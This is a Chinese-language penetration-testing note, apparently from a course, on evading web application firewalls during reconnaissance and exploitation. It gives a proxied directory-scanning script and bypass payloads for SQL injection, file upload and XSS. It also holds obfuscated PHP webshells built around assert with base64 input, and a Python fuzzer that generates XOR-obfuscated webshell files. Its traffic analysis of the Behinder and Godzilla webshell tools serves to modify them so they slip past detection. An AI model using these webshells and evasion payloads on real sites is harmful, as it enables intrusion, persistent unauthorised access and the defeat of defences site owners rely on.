# 有 waf 时的信息收集
# 信息收集拦截对抗
脚本或工具速度流量快
脚本或工具的指纹被识别
脚本或工具的检测 Payload
延迟:解决请求过快封 IP 的情况
代理池:在确保速度的情况下解决请求过快封 IP 的拦截
白名单:模拟白名单模拟 WAF 授权测试,解决速度及测试拦截,换大型网站爬虫 UA
模拟用户:模拟真实用户数据包请求探针,解决 WAF 指纹识别
黑暗引擎:Fofa Quake Shodan zoomeye 0.zone 等
其他接口:https://forum.ywhack.com/bountytips.php?getinfo
# 信息收集脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| # 目录扫描 import requests import time
headers={ 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/0 (Windows NT 0; Win64; x64) AppleWebKit/536 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/536', 'Sec-Fetch-Dest': 'document', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'none', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', 'Cookie': '*', } for paths in open('php_b.txt',encoding='utf-8'): url='http://www.testxiaodi.fun/' paths=paths.replace('\n','') urls=url+paths proxy = { 'http': 'tps68kdlapi.com:15818', } try: code=requests.get(urls,headers=headers,proxies=proxy).status_code print (urls+'|'+str(code)) if code== 200 or code== 403 : print (urls+'|'+str(code)) except Exception as err: print('connecting error') time.sleep(3)
|
通过快代理买一个临时代理设置,可以在 Awvs/Xray/Goby 等工具上直接使用 代理,或者相关工具需要修改配置文件设置代理,也可以用 proxifier 建立规则, 代理流量至自己购买的代理,将进程的流量进行中转。
proxifier 需要设置规则的进程,通过软件的属性定位到文件所在的位置, 复制文件的可执行程序,或通过任务管理器来找到当前运行的此软件的进程。
# 漏洞利用拦截对抗
# sql 注入利用绕过
参考地址:https://www.cnblogs.com/cute-puli/p/111466html
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 1
http://192.168.0.100:8081/sqlilabs/Less-2/?id=1 like 12
POST id=-1 union select 1,2,3–+
通过 burp 的右键功能
更改数据请求格式 :https://github.com/c0ny1/chunked-coding-converter
id=1/&id=-1%20union%20select%201,2,3%23*/
# 文件上传拦截绕过
filename=a.php
filename="a.php
;filename=“a.php”
filename=“a.php%00”
无限 filename;filename=“a.php”
filename==“a.php”
filename=“name='uploadfile.php”
filename=“Content-Disposition: form-data.php”
filename==“a.ph
p”
# xss 拦截绕过
工具链接:https://github.com/s0md3v/XSStrike
使用方法:
python xsstrike.py -u "http://xx/xss__get.php?message=1& submit=submit" --proxy
# 其他绕过
采用参数替换绕过:txt=y=strreplace(′x′,′′,′pxhpxinxfo()′);assert(y);&submit=%E6%8F%90%E4%BA%A4
文件包含使用…\ …/ …\ 等
# 权限控制对抗
# php 传参带入
1 2 3 4 5 6 7 8 9 10
| # php木马如下 <?php $a=$_GET['a']; $aa=$a.'ert'; $aa(base64_decode($_POST['x'])); ?>
# 代码利用 ?a=ass x=cGhwaW5mbygpOw==
|
# php 变量覆盖
1 2 3 4 5 6 7 8 9
| # php木马如下 <?php $a='b'; $b='assert'; $$a(base64_decode($_POST['x'])); ?>
# 代码利用 x=cGhwaW5mbygpOw==
|
# php 加密变异
http://www.phpjm.net/
https://www.phpjms.com/
http://1576:1234/
# php 异或运算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| # 异或 import requests import time import threading,queue
def string(): while not q.empty(): filename=q.get() url = 'http://10.0.1:8081/x/' + filename datas = { 'x': 'phpinfo();' } result = requests.post(url, data=datas).content.decode('utf-8') if 'XIAODI-PC' in result: print ('check->'+filename+'->ok') else: print ('check->'+filename+'->no') time.sleep(1)
def shell_test_check(): url='http://0.1:8081/x/33xd6php' datas={ 'x':'phpinfo();' } result=requests.post(url,data=datas).content.decode('utf-8') print (result) if 'XIAODI-PC' in result: print ('ok')
if __name__ == '__main__': q=queue.Queue() for i in range(1, 127): for ii in range(1, 127): payload = "'""'" + chr(i) + "'" + '^' + "'""'" + chr(ii) + "'" code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>" filename = str(i) + 'xd' + str(ii) + '.php' q.put(filename) with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f: f.write(code) f.close() print('Fuzz文件生成成功') for x in range(20): t=threading.Thread(target=string) t.start()
|
可以通过在线的接口将自己的木马再次加密,如果此加密未加入到官方的指纹系统,则还是可以绕过 waf 的。如将哥斯拉自动生成的马再次进行加密。加密后上传 webshell,仍旧可以连接成功,则可以绕。
# 冰蝎哥斯拉流量分析
# waf 绕过思路
可能通过正则匹配、机器学习、行为分析等方式来绕过 waf。实战中多半是先进的安全公司的设备,必须进行魔改各种连接工具才可以绕过 waf,需要 就具体情况进行判断。
webshell 利用工具的流量也可以通过 proxifer 设置代理转发至 burp 观察,实际上,proxifer 的作用就是拦截一些不能设置代理的软件,将其流量代理到自己 设置的目标端口上,目标端口可以是快代理,burp,fiddler 等可以监听端口的工具。
或者不借助 proxifer 而是用 wireshark 来捕获网卡中的所有流量,通过过滤数据包来确定当前所使用工具的流量,跟随流量流,分析流量特征。
如果一堆加密字符中出现了大量的 "/“以及不规则的大小写字母及数字组成, 则可以判断出此加密可能属于 AES; 如果有大量的等号而无”/" 则可以猜测属于 base64。
# 冰蟹原理
自己手动输入一个密钥,并采用 md5 加密生成 32 位字符取前 16 位作为 key 值,服务端接收客户端发送的 key 存储 session 返回客户端,客户端先将代码进 行 base64 编码,再继续发送基于 key 与偏移量 0123456789abcdef 及采用 CBC 模式的 AES 加密操作的数据包,此后服务器解密数据包进行遍历自身文件或其他 操作,并把结果再次进行一层 base64 编码及 AES 加密,客户端接受服务端发送的数据包解密后并在工具上做展示。
# 冰蟹数据包特征
1 2 3 4 5 6 7 8 9 10 11
| User-agent:代码中定义
Pragma: no-cache
Content-Type:application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap ng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
|
每次冰蟹操作数据时都会发送出这几个数据,这几个数据单独来看是没有 什么特征的,但是如果合在一起使用就可以确定很大概率是冰蟹在操作,可以 认为是恶意指令。
通过 wireshark 抓取冰蟹操作时的流量,分析流量特征进行捕获从而确定出 指纹;且其采用 jar 文件生成,可以反编译查找其中的指纹来源进行修订再次重 新编译成 jar 包,并修订原有指纹绕过 waf,生成一个自己专属的 webshell 连接 工具。
反编译 jar 文件用 jd-jui 打开之后,如果代码中含有 php 代码是看不了的,还是需要将其导入到 IDEA 中才可以看到全部的代码。
# 哥斯拉数据包特征
1 2 3 4 5 6 7
| User-Agent: Mozilla/0 (Windows NT 0; Win64; x64; rv:80) Gecko/20100101 Firefox/80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: PHPSESSID=rut2a51prso470jvfe2q502o44; cookie 最后面存在一个";"
|